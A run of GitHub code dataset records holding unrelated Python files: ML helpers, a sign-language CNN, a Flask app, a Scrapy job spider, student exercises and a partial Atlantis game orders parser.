super(MyMatmul, self).__init__()\n kernel_nn = torch.FloatTensor(kernel)\n self.kernel = nn.Parameter(kernel_nn.T,requires_grad=False) \n \n def forward(self, x): \n \"\"\"\n Performs convolution.\n Parameters\n ----------\n x (torch.FloatTensor): 1D-signal, size n*c*nx\n Returns\n -------\n (torch.FloatTensor): result of the convolution, size n*c*nx\n \"\"\"\n x_tilde = torch.matmul(x,self.kernel)\n return x_tilde\n\n\n####################################################################\n####################################################################\n\n### EXPORT DATA\ndef Export_Data(xdata,ydata,folder,name):\n \"\"\"\n Save a signal in a chose folder\n for plot purpose.\n \"\"\"\n Npoint = np.size(xdata)\n with open(folder+'/'+name+'.txt', 'w') as f:\n f.writelines('xdata ydata \\n')\n for i in range(Npoint):\n web_browsers = ['{0}'.format(xdata[i]),' ','{0} \\n'.format(ydata[i])]\n f.writelines(web_browsers)\n\n### PLOT GAMMA ALPHA MU\ndef Export_hyper(resnet,x,x_b,folder):\n \"\"\"\n Export hyperparameters of a neural network\n \"\"\"\n nlayer = len(resnet.model.Layers)\n gamma = np.zeros(nlayer)\n reg = np.zeros(nlayer)\n mu = np.zeros(nlayer)\n for i in range(0,nlayer):\n gamma[i] = resnet.model.Layers[i].gamma_reg[0]\n reg[i] = resnet.model.Layers[i].gamma_reg[1]\n mu[i] = resnet.model.Layers[i].mu\n # export\n num = np.linspace(0,nlayer-1,nlayer)\n Export_Data(num, gamma, folder, 'gradstep')\n Export_Data(num, reg, folder, 'reg')\n Export_Data(num, mu, folder, 'prox')\n # plot\n fig, (ax0,ax1,ax2) = plt.subplots(1, 3)\n ax0.plot(num,gamma)\n ax0.set_title('gradstep')\n ax1.plot(num,reg)\n ax1.set_title('reg')\n ax2.plot(num,mu)\n ax2.set_title('prox')\n plt.show()","repo_name":"ceciledellavalle/FBResNet","sub_path":"FBRN/myfunc.py","file_name":"myfunc.py","file_ext":"py","file_size_in_byte":7144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6418764239","text":"#!env python3\n\nimport datetime\nimport pandas as pd\nimport numpy as np\nimport sys\nfrom pathlib import Path\n\n\nif __name__ == \"__main__\":\n\n ROOT = Path(__file__).resolve().parents[2]\n if len(sys.argv) > 1:\n url = sys.argv[1]\n else:\n url = str(ROOT / 'dados_diarios/covid_dados_2022-05-24.xlsx')\n\n data = pd.ExcelFile(url)\n data = data.parse(data.sheet_names[1], index_col='confirmation_date1')\n data.index.name = 'data'\n data = data.replace(np.nan, 0)\n data.columns = ['confirmados_novos', 'obitos_novos']\n data['confirmados'] = data['confirmados_novos'].cumsum()\n data['obitos'] = data['obitos_novos'].cumsum()\n\n data = data.applymap(lambda x: int(x))\n data = data[[data.columns[2], data.columns[0], data.columns[3], data.columns[1]]]\n\n #print(data.tail(2))\n data.to_csv(ROOT / 'dados_diarios.csv', sep=\",\")\n\n\n","repo_name":"dssg-pt/covid19pt-data","sub_path":".github/workflows/update_dados_diarios.py","file_name":"update_dados_diarios.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":447,"dataset":"github-code","pt":"72"} +{"seq_id":"30686453885","text":"#오르막\nimport sys\nnums = list(map(int, sys.stdin.readline().rstrip().split()))\ni = 0\n\nfor j in range(1, len(nums)):\n if nums[i] > nums[j]:\n print('Bad')\n break\n i += 1\nelse:\n print('Good')","repo_name":"jisuuuu/Algorithm_Study","sub_path":"Baekjoon/Baekjoon_python/boj_14910.py","file_name":"boj_14910.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30740904865","text":"from flask import Flask\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom os import path\r\nfrom .page import page\r\n\r\ndb = SQLAlchemy()\r\nDB_NAME = \"database.db\"\r\n\r\n\r\ndef create_app():\r\n app = Flask(__name__)\r\n app.config['SECRET_KEY'] = 'hjshjhdjah kjshkjdhjs'\r\n app.config['SQLALCHEMY_DATABASE_URI'] = f'sqlite:///{DB_NAME}'\r\n db.init_app(app)\r\n app.register_blueprint(page, url_prefix = '/')\r\n\r\n from .apiStuff import apiCall\r\n teamNames, playerInfo = apiCall()\r\n #rint(playerInfo)\r\n create_database(app, playerInfo)\r\n \r\n from .models import Players\r\n newP = Players(playerID = 10, playerName = \"Matt Prater\", teamShort = \"Ravens\", position = \"K\", height = \"6'/10\", weight = 100, college = \"Texas State\")\r\n db.session.add(newP)\r\n db.session.commit()\r\n \r\n exists = Players.query.filter_by(playerID = 10).first() is not None\r\n print(exists)\r\n \r\n return app\r\n\r\n\r\ndef create_database(app, playerInfo):\r\n if not path.exists('website/' + DB_NAME):\r\n db.create_all(app=app)\r\n print('Created Database!')\r\n \r\n # from .models import Players\r\n\r\n # for pID, info in playerInfo.items():\r\n # # ['Matt Prater', 'ARI', 'K', '5\\'10\"', 201, '1984-08-10T00:00:00', 'Central Florida']\r\n # print(info[0])\r\n # newPlayer = Players(playerID = pID, playerName = info[0], teamShort = info[1], position = info[2], height = info[3], weight = info[4], college = info[5])\r\n # db.session.add(newPlayer)\r\n # db.session.commit()\r\n \r\n #idk if we can do this \r\n # p1 = Players.query.filter_by(playerID=22501).first()\r\n # if p1:\r\n # print(\"PLAYER FOUND\")\r\n # else:\r\n # print(\"NOT FOUND\")","repo_name":"HamzzaShaikh/newtrial","sub_path":"newTrial/website/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30254246299","text":"import torch\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\n\nclass my_metrics():\n @staticmethod\n def accuracy(model_out, target):\n #print(\"model_out \",model_out[0])\n #print(\"target \",target[0])\n pred = torch.argmax(model_out, dim=1)\n #print(\"pred \",pred[0])\n cm = confusion_matrix(target.cpu(), pred.cpu()) \n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n #cm = confusion_matrix(target.cpu(), pred.cpu()) \n #return cm.diagonal()/cm.sum(axis=1) \n return cm.diagonal() \n","repo_name":"krunalgedia/jetClassiferEfficiencywithGNN","sub_path":"utils/helpers/accuracy.py","file_name":"accuracy.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3652860595","text":"class Classes:\n def __init__(self,nama,nim,jurusan,fakultas,b):\n self.nama = nama\n self.jurusan = jurusan\n self.nim = nim\n self.fakultas = fakultas\n self.b = b\n \n def display(self,nim,jurusan,fakultas):\n print(\"Nama : \", nama)\n print(\"Nim : \", nim) \n print(\"Jurusan : \", jurusan)\n print(\"Fakultas : \", fakultas) \n \n def jaraktempuh(self,b):\n return self * b\n \n def harga_satuan(self,b,diskon):\n return self * b * diskon\n \n def biaya_percakapan(self):\n return self * 1000\n \n def biaya_sms(self):\n return self * 300\n \n def gaji_bersih(self,b):\n return (self + (self * 0.2) + (self * (0.1 * b)))\n \n#main \nprint(\"1. Nomor 1\\n2. Nomor 2\\n3. Nomor 3\\n4. Nomor 4\\n5. Nomor 5\\n6. Nomor 6\\n7. Nomor 7\")\npilihan = int(input(\"Masukan Pilihan :\"))\n\nif pilihan == 1:\n print(\"Input Identitas\")\n nama = input(\"nama :\")\n nim = input(\"nim :\")\n jurusan = input(\"Jurusan :\")\n fakultas= input(\"fakultas :\")\n\n print(\"\\nOutput \") \n Classes.display(nama,nim,jurusan,fakultas)\n\nelif pilihan == 2:\n kecepatan = int(input(\"Kecepatan rata-rata :\"))\n waktu = int(input(\"Waktu tempuh (jam) :\"))\n hasil = Classes.jaraktempuh(kecepatan,waktu)\n print(\"Jara tempuh : \", hasil, \" km\")\n \nelif pilihan == 3:\n diskon = 0.1\n harga_satuan = int(input(\"Harga Satuan :\"))\n Jumlah = int(input(\"Jumlah Pembelian :\"))\n hasil = Classes.harga_satuan(harga_satuan,Jumlah,diskon)\n print(\"Harga Total :Rp. \", int(hasil))\n\nelif pilihan == 4:\n harga_satuan = int(input(\"Harga satuan :\"))\n Jumlah = int(input(\"Jumlah :\"))\n Diskon = int(input(\"Diskon (%) :\"))\n Diskon = Diskon / 100\n hasil = Classes.harga_satuan(harga_satuan,Jumlah,Diskon)\n print(\"Harga Total :Rp. \", hasil)\n \nelif pilihan == 5:\n abnomen = 20000\n nama = input(\"Nama : \")\n percakapan = int(input(\"Percakapan :\"))\n sms = int(input(\"SMS : \"))\n b_percakapan = Classes.biaya_percakapan(percakapan)\n b_sms = Classes.biaya_sms(sms)\n total = b_percakapan + b_sms\n print(\"\\nTagihan\\n :\")\n print(\"Abnomen : \", abnomen,\"(Optional biaya bulanan)\")\n print(\"Biaya percakapan : \", b_percakapan)\n print(\"Biaya SMS : \", b_sms)\n print(\"Total Tagihan : \", total)\n\nelif pilihan == 6:\n T_kesejahteraan = 20 / 100\n T_Keluarga = 10 / 100\n pajak = 10 / 100\n nama = input(\"Nama Karyawan : \")\n g_pokok = float(input(\"Gaji Pokok :\"))\n j_anak = int(input(\"Jumlah anak :\"))\n g_kotor = Classes.gaji_bersih(g_pokok,j_anak)\n g_bersih = g_kotor - (g_kotor * 0.1)\n \n print(\"Gajo Pokok T. Kesejahteraan T.Keluarga Pajak\")\n print(g_pokok,\" 20% 10% 10% \" )\n \n print(\"Gaji Kotor : \",g_kotor)\n print(\"Gaji Bersih : \",g_bersih) \n ","repo_name":"Rizky1408/rizkyadiryanto_1901013044","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2976,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70664509034","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom tencent.items import TencentItem\n\n\nclass PositiontencentSpider(scrapy.Spider):\n name = 'positiontencent'\n allowed_domains = ['tencent.com']\n url = \"http://hr.tencent.com/position.php?&start=\"\n offset = 0\n start_urls = [url+str(offset)+\"#a\"]\n\n def parse(self, response):\n for each in response.xpath(\"//tr[@class='even']|//tr[@class='odd']\"):\n item = TencentItem()\n item['positionName'] = each.xpath(\"./td[1]/a/text()\").extract()[0]\n item['positionLink'] = each.xpath(\"./td[1]/a/@href\").extract()[0]\n item['positionType'] = each.xpath(\"./td[2]/text()\").extract()[0]\n item['positionNum'] = each.xpath(\"./td[3]/text()\").extract()[0]\n item['workLocation'] = each.xpath(\"./td[4]/text()\").extract()[0]\n item['publishTime'] = each.xpath(\"./td[5]/text()\").extract()[0]\n yield item\n if self.offset < 3300:\n self.offset += 10\n yield scrapy.Request(url=self.url+str(self.offset)+\"#a\", callback=self.parse)\n","repo_name":"njkenone/tencent","sub_path":"tencent/spiders/positiontencent.py","file_name":"positiontencent.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40867114145","text":"# coding: utf-8\n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport matplotlib.pyplot as plt # used for data and result visualization\nimport seaborn as sns # used for data and result visualization\n\nimport torch # library used for implementing deep learning network using pytorch framework\nimport torchvision\nfrom torchvision import transforms, datasets\n\nfrom sklearn.preprocessing import LabelBinarizer # used to convert data lables to one-hot encoded vectors\n\nimport keras # library used for implementing deep learning network using keras framework\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Conv2D , MaxPool2D , Flatten , Dropout , BatchNormalization\nfrom keras.callbacks import ReduceLROnPlateau\nfrom keras.preprocessing.image import ImageDataGenerator\n\nfrom sklearn.model_selection import train_test_split #libraries from scikit-learn for visualizing results like confusion matrix\nfrom sklearn.metrics import classification_report,confusion_matrix\n\n#Read data from CSV files\ntrain_df = pd.read_csv(\"sign_mnist_train.csv\")\ntest_df = pd.read_csv(\"sign_mnist_test.csv\")\n\ntest = pd.read_csv(\"sign_mnist_test.csv\")\ny = test['label']\npred = train_df['label']\n\npred.unique() #we have 25 labels (0-25) as a one-to-one map for each alphabetic letter A-Z \n# and no cases for 9=J or 25=Z because of gesture motions.\n\n\n#print all alphabets\nalphabet = []\nfor i in range(ord('A'), ord('Z') + 1):\n alphabet.append([chr(i)])\n \nalphabet\n\n\n# Visualizing the distribution of smaples over all class labels\nclass_id_distribution = train_df['label'].value_counts()\ncolors=['#A71930', '#DF4601', '#AB0003', '#003278', '#FF5910', \n '#0E3386', '#BA0021', '#E81828', '#473729', '#D31145', \n '#0C2340', '#005A9C', '#BD3039', '#EB6E1F', '#C41E3A', \n '#33006F', '#C6011F', '#004687', '#CE1141', '#134A8E', \n '#27251F', '#FDB827', '#0C2340', '#FD5A1E', '#00A3E0']\n\nplt.figure(figsize=(12,7))\nax = plt.gca()\nax.set_facecolor('none')\nplt.rcParams.update({'font.size': 15})\nplt.rc('axes.spines', **{'bottom':True, 'left':True, 'right':True, 'top':True})\nax.spines['bottom'].set_color('black')\nax.spines['top'].set_color('black') \nax.spines['right'].set_color('black')\nax.spines['left'].set_color('black')\nplt.xticks(np.arange(43))\nplt.bar(class_id_distribution.index, class_id_distribution.values, color=colors, width = 0.85)\nplt.xlabel('Classes')\nplt.ylabel('# Occurences in the training set')\nplt.xticks(range(len(alphabet)), alphabet)\nplt.grid(b=True, which='major', color='grey', linestyle='--')\n# plt.savefig('Ch_5_Fig_1.eps', format='eps')\nplt.show()\n\n# This shows that the dataset is distrubuted in a balanced way as all labels have inputs.\n\n\n\n#we seperate the labels from the dataframe and delete it from the complete dataframe\ny_train = train_df['label']\ny_test = test_df['label']\ndel train_df['label']\ndel test_df['label']\n\n\n# print the columns in dataset to validate that there is no column for labels and print the first 5 rows of data frame\nprint(train_df.columns)\nprint(train_df.head())\n\n#label_binarizer converts the input into on-hot encoding when the values are not integer. we do it for the labels.\nfrom sklearn.preprocessing import LabelBinarizer\nlabel_binarizer = LabelBinarizer()\ny_train = label_binarizer.fit_transform(y_train)\ny_test = label_binarizer.fit_transform(y_test)\n\n\nx_train = train_df.values\nx_test = test_df.values\n\n\n# In[13]:\n\n\nprint(x_train.shape) #x_train is a dataframe with 27455 rows and 784 columns. each column having its pixel\n\n# Normalize the data\nx_train = x_train / 255\nx_test = x_test / 255\n\n\n# Reshaping the data from 1-D to 3-D as required through input by CNN's\nx_train = x_train.reshape(-1,28,28,1) # -1 mean all objects, 28*28 is the size of image, and as the MNISt dataset doenst have channel info, we add it as 1 due to greyscale.\nx_test = x_test.reshape(-1,28,28,1)\n\n\n\ntrain_df1 = pd.read_csv(\"sign_mnist_train.csv\")\n\n\n# code to print @University of leeds@ using the sign gesture smaples\narray1 = np.zeros((10, 784))\narray2 = np.zeros((2, 784))\narray3 = np.zeros((5, 784))\n\narray1[0, :] = train_df1.loc[train_df1['label'] == 20].values[0][1:]\narray1[1, :] = train_df1.loc[train_df1['label'] == 13].values[0][1:]\narray1[2, :] = train_df1.loc[train_df1['label'] == 8].values[0][1:]\narray1[3, :] = train_df1.loc[train_df1['label'] == 21].values[0][1:]\narray1[4, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray1[5, :] = train_df1.loc[train_df1['label'] == 17].values[0][1:]\narray1[6, :] = train_df1.loc[train_df1['label'] == 18].values[0][1:]\narray1[7, :] = train_df1.loc[train_df1['label'] == 8].values[0][1:]\narray1[8, :] = train_df1.loc[train_df1['label'] == 19].values[0][1:]\narray1[9, :] = train_df1.loc[train_df1['label'] == 24].values[0][1:]\n\ntitle1 = ['U', 'N', 'I', 'V', 'E', 'R', 'S', 'I', 'T', 'Y']\ntitle2 = ['O', 'F']\ntitle3 = ['L', 'E', 'E', 'D', 'S']\n\narray2[0, :] = train_df1.loc[train_df1['label'] == 14].values[0][1:]\narray2[1, :] = train_df1.loc[train_df1['label'] == 5].values[0][1:]\n\narray3[0, :] = train_df1.loc[train_df1['label'] == 11].values[0][1:]\narray3[1, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray3[2, :] = train_df1.loc[train_df1['label'] == 4].values[0][1:]\narray3[3, :] = train_df1.loc[train_df1['label'] == 3].values[0][1:]\narray3[4, :] = train_df1.loc[train_df1['label'] == 18].values[0][1:]\n\n\n# plot the university of leeds finger-spelling\n\n\nf, ax = plt.subplots(4, 5) \nf.set_size_inches(15, 15)\nk = 0\nm = 0\np = 0\nfor i in range(0, 4):\n for j in range(0, 5):\n if i < 2:\n ax[i, j].set_title(title1[k])\n ax[i, j].imshow(array1[k].reshape(28, 28) , cmap = \"gray\")\n k += 1\n elif i == 2:\n if j > 0 and j < 3:\n ax[i, j].set_title(title2[m])\n ax[i, j].imshow(array2[m].reshape(28, 28) , cmap = \"gray\")\n m += 1\n else:\n ax[i, j].set_title(title3[p])\n ax[i, j].imshow(array3[p].reshape(28, 28) , cmap = \"gray\")\n p += 1\nplt.subplots_adjust(left=0.1,\n bottom=0.1, \n right=0.9, \n top=0.9, \n wspace=0.4, \n hspace=0.1)\n\n# plt.savefig('Ch_5_Fig_2.eps', format='eps')\nplt.show()\n\n\n# print the sign gesture for 'E' and 'M'\n\n\narray4 = train_df1.loc[train_df1['label'] == 4].values[0][1:]\nplt.title('E')\nplt.imshow(array4.reshape(28, 28) , cmap = \"gray\")\n\n# plt.savefig('Ch_5_Fig_5a.eps', format='eps')\nplt.show()\n\n\narray5 = train_df1.loc[train_df1['label'] == 12].values[0][1:]\nplt.title('M')\nplt.imshow(array5.reshape(28, 28) , cmap = \"gray\")\n\n# plt.savefig('Ch_5_Fig_5b.eps', format='eps')\nplt.show()\n\n\n# With data augmentation to prevent overfitting\ndatagen = ImageDataGenerator(\n featurewise_center=False, # set input mean to 0 over the dataset\n samplewise_center=False, # set each sample mean to 0\n featurewise_std_normalization=False, # divide inputs by std of the dataset\n samplewise_std_normalization=False, # divide each input by its std\n zca_whitening=False, # apply ZCA whitening\n rotation_range=10, # randomly rotate images in the range (degrees, 0 to 180)\n zoom_range = 0.1, # Randomly zoom image \n width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)\n height_shift_range=0.1, # randomly shift images vertically (fraction of total height)\n horizontal_flip=False, # randomly flip images\n vertical_flip=False) # randomly flip images\n\n\ndatagen.fit(x_train)\n\n\n\n#Creating the network\nlearning_rate_reduction = ReduceLROnPlateau(monitor='val_accuracy', patience = 2, verbose=1,factor=0.5, min_lr=0.000001)\n\nmodel = Sequential()\nmodel.add(Conv2D(128 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu' , input_shape = (28,28,1)))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Conv2D(64 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Conv2D(32 , (3,3) , strides = 1 , padding = 'same' , activation = 'relu'))\nmodel.add(BatchNormalization())\nmodel.add(MaxPool2D((2,2) , strides = 2 , padding = 'same'))\n\nmodel.add(Flatten())\nmodel.add(Dense(units = 256 , activation = 'relu'))\nmodel.add(Dropout(0.2))\n\nmodel.add(Dense(units = 24 , activation = 'softmax'))\nmodel.compile(optimizer = 'adam' , loss = 'categorical_crossentropy' , metrics = ['accuracy'])\nmodel.summary()\n\n\nhistory = model.fit(datagen.flow(x_train,y_train, batch_size = 64) ,epochs = 20 , validation_data = (x_test, y_test) , callbacks = [learning_rate_reduction])\n\n\nprint(\"Accuracy of the model is - \" , model.evaluate(x_test,y_test)[1]*100 , \"%\")\n\n\nepochs = [i for i in range(20)]\ntrain_lr = np.log10(history.history['lr'])\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_lr , 'go-' , label = 'Learning rate')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"$log_{10}$ (Learning rate)\")\nplt.grid()\nplt.xticks(epochs)\n# plt.savefig('Ch_5_Fig_6.eps', format='eps')\nplt.show()\n\n\n# Analysis \nepochs = [i for i in range(20)]\ntrain_acc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\n\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_acc , 'go-' , label = 'Training Accuracy')\nplt.plot(epochs , val_acc , 'ro-' , label = 'Validation Accuracy')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Accuracy\")\nplt.grid()\n# plt.savefig('Ch_5_Fig_3a.eps', format='eps')\nplt.show()\n\n\n# In[28]:\n\n\nepochs = [i for i in range(20)]\ntrain_loss = history.history['loss']\nval_loss = history.history['val_loss']\n\nplt.figure(figsize=(8,6))\nplt.plot(epochs , train_loss , 'g-o' , label = 'Training Loss')\nplt.plot(epochs , val_loss , 'r-o' , label = 'Validation Loss')\nplt.legend()\nplt.xlabel(\"Epochs\")\nplt.ylabel(\"Loss\")\nplt.grid()\n# plt.savefig('Ch_5_Fig_3b.eps', format='eps')\nplt.show()\n\n\n# plot the confusion matrix for testing the proposed model on MNIST test data\nx_predict = model.predict(x_test)\n\npredictions = np.argmax(x_predict, axis = 1)\n\ncount = 0\nfor i in range(7172):\n if predictions[i] >= 9:\n predictions[i] = predictions[i] +1\n\nz = y.unique()\nz.sort()\n\na = np.unique(predictions)\nb = a.sort()\n\nalphabet = []\nfor i in range(ord('A'), ord('Z') + 1):\n alphabet.append(chr(i))\n\nalphabet1 = alphabet[0:9] + alphabet[10:25]\ncm = confusion_matrix(y,predictions,normalize=None)\ncm = pd.DataFrame(cm , index = [i for i in range(25) if i != 9] , columns = [i for i in range(25) if i != 9])\n\n\nplt.figure(figsize = (15,15))\ns=sns.heatmap(cm,cmap= \"Blues\", linecolor = 'black' , linewidth = .5 , annot = True, fmt='')\ns.set_xlabel('Actual label', fontsize=15)\ns.set_ylabel('Predicted label', fontsize=15)\ns.set_xticklabels(alphabet1)\ns.set_yticklabels(alphabet1)\n# plt.savefig('Ch_5_Fig_4.eps', format='eps')\nplt.show()\n\n\n\n","repo_name":"anchita96/signlanguagerecognition","sub_path":"Chapter_5/Chapter_5.py","file_name":"Chapter_5.py","file_ext":"py","file_size_in_byte":11024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17967219470","text":"#!/usr/bin/python3\n\"\"\"Define BaseGeometry function.\"\"\"\nBaseGeometry = __import__('9-rectangle').BaseGeometry\nRectangle = __import__('9-rectangle').Rectangle\n\n\nclass Square(Rectangle):\n \"\"\"Return the area of square.\"\"\"\n\n def __init__(self, size):\n self.integer_validator(\"size\", size)\n super().__init__(size, size)\n self.__size = size\n","repo_name":"Abelmafi/alx-higher_level_programming","sub_path":"0x0A-python-inheritance/10-square.py","file_name":"10-square.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24142194984","text":"\"\"\"This module implements all classes needed to parse order files.\n\nIt defines a :class:`OrdersParser` which will parse report lines and\nwill call a :class:`OrdersConsumer` with parser data. Classes willing\nto consume data parser by :class:`OrdersParser` will have to implement\n:class:`OrdersConsumer` interface.\n\n\"\"\"\n\nimport re\nfrom collections import deque\n\n# Directions\ndirections = {'n': 'north', 'ne': 'northeast', 'se': 'southeast',\n 's': 'south', 'sw': 'southweast', 'nw': 'northweast',\n 'in': 'in', 'out': 'out', 'p': 'pause'}\n\nclass OrdersConsumer:\n \"\"\"Virtual class for :class:`OrdersParser` consumer.\n \n This is an interface for classes willing to receive data from the\n :class:`OrdersParser`. Classes implementing this interface should\n overwrite their public methods.\n \n \"\"\"\n pass\n\nclass OrdersParser:\n \"\"\"Atlantis orders parser.\n \n :class:`!OrdersParser` is in charge of parsing an orders file, or\n the orders template part of an Atlantis PBEM report, and sends\n parsing result to its registered :class:`OrdersConsumer` together\n with the original line, in case the :class:`OrdersConsumer` needs\n it for description, as it happens with comments.\n \n \"\"\"\n \n # Class constants\n UNIT_ANY, AMT_ALL, IT_NONE = -1, -1, -1\n \n # Member attributes\n _consumer = None\n \n def __init__(self, consumer):\n \"\"\"Parser initializer.\n \n Its only parameter is the consumer (must implmement\n OrdersConsumer interface) of the parsed report.\n \n Parameter:\n consumer OrdersConsumer instance to which parsed elements will\n be sent\n \n \"\"\"\n self._consumer = consumer\n \n def parse(self, f):\n \"\"\"Read orders from an open file and parse them\n \n This method read lines from an open file. lines all passed\n to parse_line until the file ends.\n \n Parameters:\n f Open file instance to be read\n \n \"\"\"\n \n for line in f:\n self.parse_line(line)\n \n def parse_line(self, line):\n \"\"\"Parse an orders line.\n \n Read line is always sent to the consumer before stripping\n them from its comments. The order line is parsed and its\n contents sent to the consumer.\n \n Parameters:\n line Line being parsed\n \n \"\"\"\n tokens, permanent, comment = OrdersParser.tokenize(line)\n \n if not tokens:\n if comment:\n self._consumer.comment(permanent=permanent, comment=comment)\n return\n \n order = tokens.popleft().lower()\n \n if order == '#atlantis':\n if not tokens:\n raise SyntaxError('{}: missing faction'.format(line))\n faction = OrdersParser._value(tokens.popleft())\n try:\n password = tokens.popleft()\n except IndexError:\n self._consumer.atlantis(faction=faction)\n else:\n self._consumer.atlantis(faction=faction,\n password=password)\n \n elif order == '#end':\n self._consumer.atlantis_end()\n \n elif order == 'unit':\n if not tokens:\n raise SyntaxError('{}: missing unit'.format(line))\n else:\n unit = OrdersParser._value(tokens.popleft())\n if not unit:\n raise SyntaxError('{}: invalid unit'.format(line))\n self._consumer.unit(unit=unit)\n \n elif order == 'form':\n if not tokens:\n raise SyntaxError('{}: missing alias'.format(line))\n else:\n alias = OrdersParser._value(tokens.popleft())\n if not alias:\n raise SyntaxError('{}: invalid alias'.format(line))\n self._consumer.order_form(alias=alias, permanent=permanent,\n comment=comment)\n elif order == 'end':\n self._consumer.order_end()\n \n elif order == 'turn':\n self._consumer.order_turn(permanent=permanent, comment=comment)\n \n elif order == 'endturn':\n self._consumer.order_endturn()\n \n elif order == 'address':\n if not tokens:\n raise SyntaxError('{}: missing address'.format(line))\n else:\n self._consumer.order_address(address=tokens.popleft(),\n permanent=permanent,\n comment=comment)\n \n elif order == 'advance':\n try:\n dirs = [OrdersParser._parse_dir(d.lower()) for d in tokens]\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_advance(dirs=dirs, permanent=permanent,\n comment=comment)\n \n elif order == 'assassinate':\n try:\n unit = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_assassinate(unit=unit,\n permanent=permanent,\n comment=comment)\n \n elif order == 'attack':\n targets = []\n try:\n while tokens:\n targets.append(OrdersParser._parse_unit(tokens))\n except SyntaxError as e:\n self._consumer.order_attack(targets=targets,\n permanent=permanent,\n comment=comment)\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_attack(targets=targets,\n permanent=permanent,\n comment=comment)\n \n elif order == 'autotax':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_autotax(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'avoid':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_avoid(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'idle':\n self._consumer.order_idle(permanent=permanent, comment=comment)\n \n elif order == 'behind':\n if not tokens:\n raise SyntaxError('{}: missing value'.format(line))\n try:\n self._consumer.order_behind(\n flag=OrdersParser._parse_TF(tokens.popleft()),\n permanent=permanent, comment=comment)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n \n elif order == 'build':\n if not tokens:\n self._consumer.order_build(permanent=permanent, comment=comment)\n else:\n tok = tokens.popleft().lower()\n if tok == 'help':\n try:\n target = OrdersParser._parse_unit(tokens)\n except SyntaxError as e:\n raise SyntaxError('{}: {}'.format(line, e))\n else:\n self._consumer.order_build(target=target,\n permanent=permanent,\n comment=comment)\n else:\n self._consumer.order_build(structure=tok,\n permanent=permanent,\n comment=comment)\n \n elif order == 'buy':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n num = tokens.popleft().lower()\n if num == 'all':\n num = OrdersParser.AMT_ALL\n else:\n num = OrdersParser._value(num)\n if not num:\n raise SyntaxError('{}: missing amount'.format(line))\n if not tokens:\n raise SyntaxError('{}: missing item'.format(line))\n self._consumer.order_buy(num=num, item=tokens.popleft().lower(),\n permanent=permanent, comment=comment)\n \n elif order == 'cast':\n if not tokens:\n raise SyntaxError('{}: missing skill'.format(line))\n skill = tokens.popleft().lower()\n params = [p.lower() for p in tokens]\n self._consumer.order_cast(skill=skill, params=params,\n permanent=permanent, comment=comment)\n \n elif order == 'claim':\n if not tokens:\n raise SyntaxError('{}: missing amount'.format(line))\n value = OrdersParser._value(tokens.popleft())\n if not value:\n raise SyntaxError('{}: missing amount'.format(line))\n self._consumer.order_claim(num=value, permanent=permanent,\n comment=comment)\n \n elif order == 'combat':\n if not tokens:\n combat = OrdersParser.IT_NONE\n else:\n combat = tokens.popleft().lower()\n self._consumer.order_combat(skill=combat, permanent=permanent,\n comment=comment)\n \n elif order == 'consume':\n if not tokens:\n consuming = 'none'\n else:\n consuming = tokens.popleft().lower()\n if consuming not in ('unit', 'faction', 'none'):\n raise SyntaxError('{}: invalid value'.format(line))\n self._consumer.order_consume(consuming=consuming,\n permanent=permanent, 